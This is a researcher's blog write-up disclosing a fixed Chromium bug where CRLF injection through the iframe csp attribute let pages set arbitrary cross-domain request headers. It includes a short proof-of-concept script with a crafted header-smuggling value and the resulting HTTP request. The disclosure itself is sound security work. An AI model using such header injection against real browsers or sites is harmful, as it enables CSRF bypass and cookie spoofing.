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Michał Bentkowski

Setting arbitrary request headers in Chromium via CRLF injection

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In this short note I’ll describe a bug I found in Chrome recently. It allowed to set arbitrary headers in cross-domain requests. @insertScript recently found a very similar bug in Adobe Reader plugin but it turns out you can still expect those bugs in browsers themselves.

Why is it serious? Because you can use it to inject any request headers, including ones on which security decisions are based, like X-CSRF-Token, Host, Referer or Cookie.

Technical details

I recently stumbled upon a new property of <iframe> element I’ve not been aware of before. The property is called csp.  As you can guess, it accepts a CSP policy. Let’s check it:

So what does it actually do? When you set src for the iframe, the following request will be generated:

GET / HTTP/1.1
upgrade-insecure-requests: 1
sec-required-csp: script-src
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br
accept-language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
cookie: [...]

There’s a new Sec-Required-CSP header whose value is equal to the csp attribute set earlier. The name of the header makes it easy to google that we’re dealing with CSP Embedded Enforcement. In short, it is a mechanism for web developers that they can ask nicely embedded content for a specific CSP policy. The embedded content may accept it or reject; in the second case the page won’t be rendered.

Anyway, going back to the csp attribute: since its value is reflected in request header, it basically calls for CRLF injection. Let’s try it:

<!DOCTYPE html><meta charset="utf-8" /> .
  const ifr = document.createElement("iframe");
  ifr.src = "";
  ifr.csp =
    "script-src\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost:";


And it generated a request:

GET / HTTP/1.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Required-CSP: script-src
X-CSRF-Token: 1234
User-Agent: Firefox
Cookie: abc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

This was pretty bad!


  • May 23 - bug reported
  • May 25 - bug fixed
  • June 6 - fixed in stable Chrome
  • June 20 - disclosure